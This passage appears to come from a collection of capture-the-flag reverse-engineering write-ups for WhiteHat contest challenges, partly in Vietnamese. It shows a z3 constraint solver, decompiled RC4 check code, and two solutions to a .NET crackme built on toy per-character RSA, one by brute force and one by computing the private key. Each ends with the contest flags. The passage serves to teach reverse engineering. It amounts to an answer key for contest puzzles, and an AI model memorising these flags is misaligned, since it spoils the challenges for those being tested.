    s.add(1540 * v4 + 1357 * v16 + 1835 * v7 + 1823 * v11 + 2111 * v5 + 1896 * v23 + 2405 * v3 + 2022 * v24 + 2357 * v18 + 2704 * v6 + 2626 * v15 + 3356 * v8 + 3350 * v10 + 3271 * v20 + 3337 * v19 + 3485 * v12 + 3361 * v22 + 3556 * v13 + 3526 * v17 + 1041 * v30 + 1129 * v32 + 3869 * v21 + 1229 * v33 + 1423 * v31 + 1696 * v28 + 1717 * v27 + 2112 * v26 + 2565 * v34 + 3617 * v25 + 3585 * v29 + 1072 * (v14 + v9 + 2 * v14) == 6224197)
    s.add(1457 * v13 + 1584 * v9 + 1654 * v11 + 1911 * v19 + 1938 * v24 + 2296 * v5 + 2067 * v21 + 2532 * v15 + 2675 * v23 + 2962 * v8 + 2972 * v12 + 2848 * v22 + 3369 * v14 + 3483 * v18 + 3607 * v17 + 3734 * v10 + 3855 * v6 + 3635 * v20 + 3932 * v4 + 3963 * v16 + 1221 * v33 + 1459 * v31 + 1511 * v28 + 2142 * v26 + 2741 * v29 + 3223 * v25 + 3175 * v30 + 3754 * v27 + 3870 * v34 + 3825 * v32 + 1559 * v3 + 1053 * v7 == 7018874)
    s.add(1205 * v5 + 1193 * v11 + 1300 * v22 + 1734 * v12 + 1881 * v21 + 1962 * v19 + 2279 * v9 + 2176 * v17 + 2626 * v3 + 2637 * v13 + 2701 * v10 + 2548 * v20 + 2783 * v6 + 2705 * v18 + 2934 * v4 + 2641 * v24 + 2993 * v16 + 3398 * v8 + 3534 * v14 + 3413 * v23 + 3556 * v15 + 3850 * v7 + 1443 * v34 + 1611 * v29 + 1855 * v26 + 1877 * v30 + 2142 * v27 + 2855 * v25 + 2752 * v33 + 3462 * v28 + 3424 * v31 + 3678 * v32 == 6717789)
    s.add(1313 * v6 + 1145 * v24 + 1673 * v4 + 1610 * v10 + 1695 * v14 + 1818 * v9 + 1875 * v7 + 2040 * v5 + 2017 * v11 + 2296 * v3 + 2112 * v13 + 2169 * v15 + 2090 * v20 + 2497 * v21 + 2685 * v19 + 3072 * v8 + 3040 * v17 + 2990 * v23 + 3488 * v18 + 3589 * v22 + 3831 * v16 + 3932 * v12 + 1335 * v31 + 1651 * v27 + 2044 * v29 + 2314 * v26 + 2353 * v25 + 2605 * v34 + 3192 * v33 + 3258 * v30 + 3740 * v28 + 3759 * v32 == 6502052)
    s.add(1181 * v4 + 1077 * v22 + 1467 * v15 + 1829 * v6 + 1813 * v19 + 2264 * v3 + 2240 * v18 + 2503 * v5 + 2561 * v13 + 2627 * v14 + 3129 * v17 + 3292 * v9 + 3174 * v20 + 3215 * v23 + 3549 * v11 + 3608 * v8 + 3556 * v12 + 3541 * v16 + 3775 * v7 + 3683 * v24 + 3997 * v10 + 1759 * v30 + 2027 * v33 + 2084 * v34 + 2824 * v27 + 3213 * v25 + 3392 * v29 + 3428 * v32 + 3670 * v31 + 3992 * v26 + 3601 * (v21 + v28) == 7439610)
    s.add(1010 * v15 + 1221 * v11 + 1287 * v7 + 1164 * v19 + 1240 * v18 + 1498 * v5 + 1503 * v10 + 1489 * v17 + 1786 * v4 + 2075 * v3 + 1970 * v6 + 1704 * v24 + 2171 * v16 + 2663 * v12 + 2542 * v20 + 2619 * v21 + 2591 * v23 + 3363 * v14 + 3604 * v9 + 3706 * v13 + 3847 * v8 + 1098 * v33 + 1232 * v26 + 3913 * v22 + 1303 * v31 + 1750 * v27 + 2205 * v28 + 2539 * v30 + 2818 * v25 + 2975 * v29 + 3247 * v34 + 3422 * v32 == 5861762)
    s.add(1262 * v14 + 1545 * v9 + 1540 * v20 + 1678 * v12 + 1944 * v18 + 1870 * v24 + 2584 * v3 + 2289 * v17 + 2318 * v23 + 2648 * v4 + 2508 * v22 + 2712 * v10 + 2769 * v13 + 2913 * v7 + 3075 * v8 + 2985 * v16 + 3245 * v21 + 3546 * v11 + 3519 * v15 + 3864 * v6 + 3971 * v5 + 1132 * v27 + 3865 * v19 + 1152 * v29 + 1472 * v28 + 1601 * v25 + 2087 * v30 + 2323 * v26 + 2570 * v31 + 3103 * v34 + 3763 * v32 + 3901 * v33 == 6606266)
    s.add(1543 * v10 + 1637 * v14 + 1608 * v21 + 2347 * v11 + 2409 * v15 + 2588 * v19 + 2681 * v18 + 3015 * v7 + 2758 * v24 + 3088 * v12 + 3049 * v17 + 3423 * v3 + 3060 * v22 + 3342 * v20 + 3600 * v5 + 3565 * v8 + 3463 * v16 + 3969 * v6 + 3943 * v13 + 1067 * v34 + 1430 * v31 + 1690 * v28 + 1748 * v33 + 1843 * v30 + 2620 * v32 + 2949 * v29 + 3146 * v27 + 3888 * v26 + 3954 * v25 + 1221 * v23 + 1527 * v4 + 1028 * v9 == 6637643)
    s.add(1035 * v5 + 1185 * v7 + 1359 * v14 + 1748 * v12 + 1853 * v9 + 1766 * v16 + 2038 * v8 + 2001 * v24 + 2536 * v3 + 2411 * v21 + 2629 * v10 + 2923 * v13 + 2944 * v17 + 3226 * v6 + 3224 * v11 + 3257 * v15 + 3318 * v19 + 3355 * v23 + 3783 * v4 + 3726 * v20 + 3955 * v18 + 1496 * v26 + 1515 * v28 + 1584 * v27 + 2142 * v33 + 2196 * v34 + 2549 * v25 + 3342 * v30 + 3913 * v32 + 3964 * v29 + 1025 * (v31 + v22 + 2 * v31) == 6620539)
    s.add(1429 * v8 + 1705 * v10 + 1948 * v3 + 1652 * v22 + 1814 * v19 + 2072 * v4 + 1838 * v24 + 2036 * v16 + 2375 * v13 + 2565 * v15 + 3173 * v7 + 3141 * v18 + 3426 * v5 + 3404 * v9 + 3256 * v21 + 3606 * v6 + 3626 * v11 + 3812 * v12 + 1015 * v27 + 3736 * v17 + 1230 * v29 + 3936 * v23 + 3994 * v20 + 2131 * v28 + 2355 * v26 + 3011 * v32 + 3482 * v25 + 3625 * v31 + 3637 * v33 + 3841 * v30 + 1093 * (v14 + 2 * v34) == 6958794)
    s.add(1028 * v24 + 1148 * v19 + 1109 * v23 + 1416 * v9 + 1634 * v6 + 2233 * v13 + 2262 * v12 + 2353 * v8 + 2303 * v15 + 2213 * v22 + 2452 * v10 + 2690 * v3 + 2650 * v4 + 2893 * v7 + 3008 * v11 + 3124 * v20 + 3256 * v18 + 3303 * v17 + 3454 * v14 + 3662 * v5 + 1080 * v26 + 1050 * v29 + 1155 * v30 + 1318 * v27 + 1264 * v32 + 1676 * v34 + 2361 * v31 + 2858 * v28 + 3200 * v25 + 3903 * v33 + 1317 * (v21 + 2 * v16) == 5945386)
    s.add(1003 * v22 + 1561 * v6 + 1674 * v11 + 1831 * v15 + 1948 * v8 + 1923 * v14 + 1878 * v17 + 1781 * v24 + 2008 * v19 + 1945 * v23 + 2282 * v9 + 2489 * v7 + 2369 * v16 + 2653 * v10 + 2619 * v20 + 3220 * v12 + 3259 * v18 + 3402 * v13 + 3643 * v3 + 3909 * v4 + 3902 * v5 + 3971 * v21 + 1392 * v26 + 1410 * v34 + 1698 * v29 + 1722 * v31 + 2037 * v33 + 2313 * v28 + 3504 * v25 + 3589 * v30 + 3685 * v27 + 3938 * v32 == 6697494)
    s.add(1058 * v13 + 1234 * v4 + 1117 * v17 + 1039 * v22 + 1212 * v23 + 1508 * v5 + 1493 * v8 + 1330 * v21 + 1555 * v19 + 1961 * v6 + 1959 * v7 + 1937 * v11 + 2269 * v10 + 2461 * v3 + 2215 * v18 + 2515 * v9 + 2869 * v12 + 2815 * v20 + 2971 * v15 + 3264 * v16 + 3288 * v24 + 3700 * v14 + 1484 * v29 + 1541 * v34 + 1774 * v30 + 2082 * v25 + 2085 * v27 + 2954 * v26 + 2951 * v33 + 3380 * v31 + 3710 * v28 + 3815 * v32 == 5896567)
    s.add(1028 * v19 + 1363 * v18 + 1788 * v8 + 1790 * v16 + 1778 * v21 + 1941 * v15 + 2008 * v14 + 2184 * v20 + 2200 * v22 + 2679 * v4 + 2689 * v12 + 2898 * v6 + 2723 * v17 + 3073 * v7 + 3110 * v5 + 2885 * v24 + 3113 * v13 + 3071 * v23 + 3977 * v9 + 3956 * v11 + 1629 * v34 + 1676 * v33 + 1974 * v25 + 2071 * v26 + 2867 * v28 + 3153 * v29 + 3168 * v31 + 3333 * v27 + 3295 * v30 + 3825 * v32 + 1132 * v10 + 1115 * v3 == 6410858)
    s.add(1080 * v8 + 1309 * v5 + 1249 * v10 + 1726 * v20 + 1681 * v23 + 1816 * v18 + 2116 * v9 + 2650 * v3 + 2528 * v12 + 2693 * v6 + 2686 * v7 + 2516 * v19 + 2666 * v21 + 2864 * v14 + 2964 * v24 + 3087 * v22 + 3405 * v16 + 3421 * v15 + 3598 * v4 + 3667 * v11 + 3679 * v13 + 1021 * v27 + 3826 * v17 + 1064 * v30 + 2340 * v25 + 3309 * v31 + 3415 * v32 + 3686 * v26 + 3662 * v28 + 3721 * v29 + 3873 * v34 + 3902 * v33 == 0x6B736A)

    print(s.check())
    print(s.model())
    vars = [v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33,
            v34]
    print("".join([chr(int(str(s.model()[var]))) for var in vars]))

main()

Mã:

λ c:\Python27\python.exe  solve.py   
sat                                   
[v28 = 69, v12 = 69, v14 = 120,v21 = 89, v10 = 69, v20 = 69, v3 = 81,  v29 = 70, v15 = 81, v30 = 66, v23 = 81, v32 = 122,v19 = 77, v7 = 79,  v4 = 85,  v11 = 78, v9 = 104, v5 = 81,  v16 = 106,v24 = 48, v34 = 70, v26 = 67, v18 = 120,v33 = 82, v6 = 53,  v25 = 86, v31 = 78, v22 = 52, v8 = 84,  v17 = 81, v27 = 78, v13 = 89]                           
QUQ5OThENEYxQjQxMEY4Q0VCNEFBNzRF 

The second one contains a heavily obfuscated implementation of the rc4 encryption algorithm and a hardcoded encrypted output and key.

Mã:

signed int __stdcall sub_4040D0(int a1)
{
  signed int v1; // eax
  _BYTE *v2; // esi
  signed int result; // eax
  int v4; // [esp+8h] [ebp-278h]
  int v5; // [esp+Ch] [ebp-274h]
  int v6; // [esp+10h] [ebp-270h]
  int v7; // [esp+14h] [ebp-26Ch]
  int v8; // [esp+18h] [ebp-268h]
  int v9; // [esp+1Ch] [ebp-264h]
  int v10; // [esp+20h] [ebp-260h]
  int v11; // [esp+24h] [ebp-25Ch]
  int v12; // [esp+28h] [ebp-258h]
  int v13; // [esp+2Ch] [ebp-254h]
  int v14; // [esp+30h] [ebp-250h]
  int v15; // [esp+34h] [ebp-24Ch]
  int v16; // [esp+38h] [ebp-248h]
  int (__thiscall **v17)(void *, char); // [esp+3Ch] [ebp-244h]
  char v18; // [esp+40h] [ebp-240h]
  char v19; // [esp+140h] [ebp-140h]
  char v20; // [esp+258h] [ebp-28h]
  int v21; // [esp+259h] [ebp-27h]
  int v22; // [esp+25Dh] [ebp-23h]
  int v23; // [esp+261h] [ebp-1Fh]
  int v24; // [esp+265h] [ebp-1Bh]
  int v25; // [esp+269h] [ebp-17h]
  int v26; // [esp+26Dh] [ebp-13h]
  int v27; // [esp+271h] [ebp-Fh]
  int v28; // [esp+275h] [ebp-Bh]

  v1 = 0;
  v20 = 0;
  v21 = 0;
  v22 = 0;
  v23 = 0;
  v24 = 0;
  v25 = 0;
  v26 = 0;
  v27 = 0;
  v28 = 0;
  do
  {
    *(&v20 + v1) = *(_BYTE *)(a1 + 4 * v1);
    ++v1;
  }
  while ( v1 < 32 );
  v4 = 102;
  v5 = 104;
  v6 = 110;
  v7 = 106;
  v8 = 117;
  v9 = 99;
  v10 = 118;
  v11 = 98;
  v12 = 110;
  v13 = 106;
  v14 = 117;
  v15 = 116;
  v16 = 114;
  v2 = operator new[](0xEu);
  result = 0;
  if ( !v2 )
    return result;
  do
  {
    v2[result] = *((_BYTE *)&v4 + 4 * result) + 1;
    ++result;
  }
  while ( result < 13 );
  v2[13] = 0;
  v17 = &off_559B00;
  memset(&v18, 0, 0x100u);
  memset(&v19, 0, 0x100u);
  sub_401160(v2);
  do
  {
    while ( v20 != -57 )
      ;
  }
  while ( (_BYTE)v21 != 0x3C
       || BYTE1(v21) != 0x12
       || BYTE2(v21) != 9
       || HIBYTE(v21) != 7
       || (_BYTE)v22 != 0x8Eu
       || BYTE1(v22) != 0x88u
       || BYTE2(v22) != 0xB9u
       || HIBYTE(v22) != 0x18
       || (_BYTE)v23 != 0x94u
       || BYTE1(v23) != 0x4B
       || BYTE2(v23) != 0x6D
       || HIBYTE(v23) != 0x13
       || (_BYTE)v24 != 0x15
       || BYTE1(v24) != 0x81u
       || BYTE2(v24) != 0x5C
       || HIBYTE(v24) != 0xA5u
       || (_BYTE)v25 != 0xC7u
       || BYTE1(v25) != 0xD
       || BYTE2(v25) != 0x23
       || HIBYTE(v25) != 0xEFu
       || (_BYTE)v26 != 0x45
       || BYTE1(v26) != 0xECu
       || BYTE2(v26) != 0xC9u
       || HIBYTE(v26) != 0xB1u
       || (_BYTE)v27 != 5
       || BYTE1(v27) != 0xB6u
       || BYTE2(v27) != 0x84u
       || HIBYTE(v27) != 0x37
       || (_BYTE)v28 != 0x63
       || BYTE1(v28) != 0xDEu
       || BYTE2(v28) != 0xA5u );
  result = 1;
  return result;
}

Piece of cake: MTQ0RDIxOUVGNUI5NDU5REE4RTFEMDNC

All of this finally gave us the flag 9B819EC15B4EB8A1C5CA2390AE14E28987A+whitehat+AD998D4F1B410F8CEB4AA74E144D219EF5B9459DA8E1D03B268E25A14FB1DCC923870C05

 

re06 | Point: 100 | Team: Injocker10K

Description:

Dịch ngược
Chương trình code bằng .NET nên ta sử dụng Dnspy để decompile

Coi sơ ta thấy một số hàm chính:

Mã:

private void btn_check_Click(object sender, RoutedEventArgs e)
{
    string text = this.tb_key.Text;
    string a = MainWindow.Enc(text, 9157, 41117);
    bool flag = a == "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ=";
    if (flag)
    {
        MessageBox.Show("Correct!! You found FLAG");
    }
    else
    {
        MessageBox.Show("Try again!");
    }
}

public static string Enc(string s, int e, int n)
{
    int[] array = new int[s.Length];
    for (int i = 0; i < s.Length; i++)
    {
        array[i] = (int)s[i];
    }
    int[] array2 = new int[array.Length];
    for (int i = 0; i < array.Length; i++)
    {
        array2[i] = MainWindow.mod(array[i], e, n);
    }
    string text = "";
    for (int i = 0; i < array.Length; i++)
    {
        text += (char)array2[i];
    }
    return Convert.ToBase64String(Encoding.Unicode.GetBytes(text));
}

public static int mod(int m, int e, int n)
{
    int[] array = new int[100];
    int num = 0;
    do
    {
        array[num] = e % 2;
        num++;
        e /= 2;
    }
    while (e != 0);
    int num2 = 1;
    for (int i = num - 1; i >= 0; i--)
    {
        num2 = num2 * num2 % n;
        bool flag = array[i] == 1;
        if (flag)
        {
            num2 = num2 * m % n;
        }
    }
    return num2;
}

Ta thấy code khá đơn giản, đưa input vào rồi qua hàm xử lí từng kí tự xong ghép lại rồi encode base64 và check với key.

Giải quyết
Có thể ngồi reverse thuật toán rồi viết thuật toán decrypt cái đống base64 sau khi decode nhưng mà bài easy như này mình phải tiết kiệm thời gian cho các bài khó hơn nên mình quyết định bruteforce rồi quăng máy để giải bài khác.

Code bruteforce

Mã:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace RE06
{
    class Program
    {
        public static int mod(int m, int e, int n)
        {
            int[] array = new int[100];
            int num = 0;
            do
            {
                array[num] = e % 2;
                num++;
                e /= 2;
            }
            while (e != 0);
            int num2 = 1;
            for (int i = num - 1; i >= 0; i--)
            {
                num2 = num2 * num2 % n;
                bool flag = array[i] == 1;
                if (flag)
                {
                    num2 = num2 * m % n;
                }
            }
            return num2;
        }
        public static string Enc(string s, int e, int n)
        {
            int[] array = new int[s.Length];
            for (int i = 0; i < s.Length; i++)
            {
                array[i] = (int)s[i];
            }
            int[] array2 = new int[array.Length];
            for (int i = 0; i < array.Length; i++)
            {
                array2[i] = mod(array[i], e, n);
            }
            string text = "";
            for (int i = 0; i < array.Length; i++)
            {
                text += (char)array2[i];
            }
            return Convert.ToBase64String(Encoding.Unicode.GetBytes(text));
        }
        public static string check()
        {
            string encoded;
            string key = "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAlj";
            string flag = "";
            bool found;
            while (true)
            {
                found = false;
                for (int i = 32; i < 128; i++)
                {
                    for (int i2 = 32; i2 < 128; i2++)
                    {
                        for (int i3 = 32; i3 < 128; i3++)
                        {
                            encoded = Enc(flag + (char)i + (char)i2 + (char)i3, 9157, 41117).Replace("=", "");
                            if (encoded == key)
                            {
                                flag = flag + (char)i + (char)i2 + (char)i3;
                                Console.WriteLine("Flag: {0}", flag);
                                return flag;
                            }
                            if (encoded == key.Substring(0, encoded.Length))
                            {
                                flag = flag + (char)i + (char)i2 + (char)i3;
                                Console.WriteLine("Flag: {0}", flag);
                                found = true;
                                break;
                            }
                        }
                    }
                    if (found)
                    {
                        break;
                    }
                }
            }
        }
        static void Main(string[] args)
        {
            string key = "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAlj";
            string encoded;
            string flag = check();
            while (true)
            {
                for (int i = 32; i < 128; i++)
                {
                    encoded = Enc(flag + (char)i, 9157, 41117);
                    if (encoded == key + "LGQ=")
                    {
                        flag = flag + (char)i;
                        Console.WriteLine("Final Flag: {0}", flag);
                        Console.ReadLine();
                    }
                }
                Console.WriteLine("Not found!");
                break;

            }

        }
    }
}

Kết quả:

​

 

re06 | Point: 100 | Team: p4team

Description:

Mã:

[email protected]:/mnt/c/Users/nazyw/Downloads$ file reverse.exe
reverse.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

A .Net executable, should be fun!

Let's use ILSpy:

​

The decompilation is pretty clear:

Our input is firstly encrypted using the Enc function:

Mã:

string text = tb_key.Text;
string a = Enc(text, 9157, 41117);

If the output matches the hardcoded string, we win:

Mã:

if (a == "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ=")
{
    MessageBox.Show("Correct!! You found FLAG");
}
else
{
    MessageBox.Show("Try again!");
}

Mã:

public static string Enc(string s, int e, int n)
{
    int[] array = new int[s.Length];
    for (int i = 0; i < s.Length; i++)
    {
        array[i] = s[i];
    }
    int[] array2 = new int[array.Length];
    for (int i = 0; i < array.Length; i++)
    {
        array2[i] = mod(array[i], e, n);
    }
    string text = "";
    for (int i = 0; i < array.Length; i++)
    {
        text += (char)array2[i];
    }
    return Convert.ToBase64String(Encoding.Unicode.GetBytes(text));
}

public static int mod(int m, int e, int n)
{
    int[] array = new int[100];
    int num = 0;
    do
    {
        array[num] = e % 2;
        num++;
        e /= 2;
    }
    while (e != 0);
    int num2 = 1;
    for (int num3 = num - 1; num3 >= 0; num3--)
    {
        num2 = num2 * num2 % n;
        if (array[num3] == 1)
        {
            num2 = num2 * m % n;
        }
    }
    return num2;
}

The Enc function iterates over every letter and performs the following operation on it: array2 = mod(array, e, n);Since mod is just modular exponentiation, the encryption boils down to encrypting each letter using rsa with e=9157 and n=41117 we can just decrypt it using the calculated private key:

Mã:

from base64 import b64decode

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

data = "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ="
data = b64decode(data)
data = map(ord, data)

e = 9157
n = 41117

# since the modulus is just a prime
phi = n - 1
d = modinv(e, phi)

def decrypt(c):
    return pow(c, d, n)

flag = ''
for pos in range(0, len(data), 2):
    
    # strings in .Net are stored as UTF-16
    x = data[pos] + data[pos+1] * 256
    flag += chr(decrypt(x))

print(flag)

WhiteHat{N3xT_t1m3_I_wi11_Us3_l4rg3_nUmb3r}

Cool!